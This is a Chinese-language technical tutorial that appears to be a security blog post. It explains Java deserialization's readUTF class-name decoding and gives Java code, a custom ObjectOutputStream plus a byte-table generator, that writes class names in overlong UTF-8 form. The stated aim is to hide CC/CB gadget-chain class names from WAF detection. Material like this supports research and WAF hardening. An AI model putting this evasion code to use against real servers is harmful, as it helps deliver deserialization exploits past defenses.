java原生反序列化OverlongEncoding分析及实战
字数 1203 2025-08-05 12:50:33
Java原生反序列化Overlong Encoding分析与实战
0x00 前言
在WAF层面,检测反序列化攻击链通常是通过检测CC、CB等链的关键类。如果能将这些类名进行编码,在服务端解码,就可以隐藏特征。但很多场景下只能使用未编码的攻击链,因为服务端可能没有解码或解密的逻辑。
Overlong Encoding是一种将1个字节的字符按照UTF-8编码方式强行编码成2位以上UTF-8字符的方法。例如,字符"j"不仅可以表示为单字节的0x6a,还可以表示为双字节的0xc1和0xaa。
0x01 技术分析
Java反序列化类名读取机制
当使用ObjectInputStream的readObject反序列化对象时,关键类名的读取逻辑在java.io.ObjectStreamClass#readNonProxy方法中,该方法通过in.readUTF()读取类名。
readUTF()的核心逻辑在ObjectInputStream中,它会将读取到的字节& 0xFF后右移四位来判断是1个字节、2个字节还是3个字节表示一个字符。
字符编码规则
单字节表示
- 最简单,直接读取字节值,如0x6a表示'j'
双字节表示
- b1规则:
- 前三位固定为110
- 右移4位后为12或13(二进制00001100或00001101)
- 实际b1的前四位只能是1100或1101
- b2规则:
- 前两位固定为10
b2 & 0xc0必须等于0x80
- 字符计算:
(char) (((b1 & 0x1F) << 6) | ((b2 & 0x3F) << 0));b1 & 0x1F:去掉b1前缀110,保留后5位b2 & 0x3F:去掉b2前缀10,保留后6位- 字符组成:b1的最后两位 + b2的后6位
三字节表示
- b1规则:
- 前四位必须为1110
b1 & 0x0F:去除前缀1110
- b2和b3规则:
- 前两位必须为10
- 字符计算:
(char) (((b1 & 0x0F) << 12) | ((b2 & 0x3F) << 6) | ((b3 & 0x3F) << 0));- 字符的后六位必定是b3
- 字符前两位在b2中
0x02 实战实现
自定义ObjectOutputStream
通过继承ObjectOutputStream并重写writeClassDescriptor方法,可以实现类名的Overlong Encoding编码。
关键实现类CustomObjectOutputStream:
public class CustomObjectOutputStream extends ObjectOutputStream {
private static HashMap<Character, int[]> map; // 双字节编码映射
private static Map<Character,int[]> bytesMap; // 三字节编码映射
// 初始化编码映射表
static {
map = new HashMap<>();
map.put('.', new int[]{0xc0, 0xae});
map.put(';', new int[]{0xc0, 0xbb});
// 其他字符映射...
bytesMap = new HashMap<>();
bytesMap.put('$', new int[]{0xe0,0x80,0xa4});
bytesMap.put('.', new int[]{0xe0,0x80,0xae});
// 其他字符映射...
}
// 双字节编码方法
public void charWritTwoBytes(String name) {
byte[] bytes = new byte[name.length() * 2];
int k = 0;
for (int i = 0; i < name.length(); i++) {
int[] bs = map.get(name.charAt(i));
bytes[k++] = (byte) bs[0];
bytes[k++] = (byte) bs[1];
}
writeShort(name.length() * 2);
write(bytes);
}
// 三字节编码方法
public void charWriteThreeBytes(String name) {
byte[] bytes = new byte[name.length() * 3];
int k = 0;
for (int i = 0; i < name.length(); i++) {
int[] bs = bytesMap.get(name.charAt(i));
bytes[k++] = (byte) bs[0];
bytes[k++] = (byte) bs[1];
bytes[k++] = (byte) bs[2];
}
writeShort(name.length() * 3);
write(bytes);
}
// 重写writeClassDescriptor方法
protected void writeClassDescriptor(ObjectStreamClass desc) throws IOException {
String name = desc.getName();
// 可选择三种编码方式之一:
// 1. 原生UTF编码: writeUTF(name);
// 2. 双字节编码: charWritTwoBytes(name);
// 3. 三字节编码: charWriteThreeBytes(name);
// ...其他字段写入逻辑
}
}
编码映射表生成工具
public class OverlongEncodeTools {
// 将字符拆分为三字节表示
public static String[] CharSplitToThressBytes(char c) {
int b1, b2, b3;
byte t = (byte) c;
b1 = Integer.parseInt("11100000", 2); // b1固定前缀
b2 = ((t & 0xc0) >>> 6) | 0x80; // 取字符前两位
b3 = (t & 0x3f) | 0x80; // 取字符后六位
String b10x = "0x" + Integer.toHexString(b1);
String b20x = "0x" + Integer.toHexString(b2);
String b30x = "0x" + Integer.toHexString(b3);
// 验证编码是否正确
if (TestThreeByteCode(b1, b2, b3) != c) {
System.out.println("字符c: " + c + " 表示错误!");
System.exit(0);
}
return new String[]{b10x, b20x, b30x};
}
// 三字节解码测试
public static char TestThreeByteCode(int b1, int b2, int b3) {
return (char) (((b1 & 0x0F) << 12) |
((b2 & 0x3F) << 6) |
((b3 & 0x3F) << 0));
}
}
0x03 关键点总结
- 编码原理:利用UTF-8变长编码特性,将单字节ASCII字符编码为多字节形式
- 字节规则:
- 双字节:b1=110xxxxx, b2=10xxxxxx
- 三字节:b1=1110xxxx, b2=10xxxxxx, b3=10xxxxxx
- 位运算技巧:
- 使用
&运算去除前缀 - 使用
|运算组合位 - 使用移位运算调整位位置
- 使用
- 实现方式:通过自定义ObjectOutputStream重写类名写入逻辑
- 应用场景:绕过WAF对反序列化攻击链中关键类的检测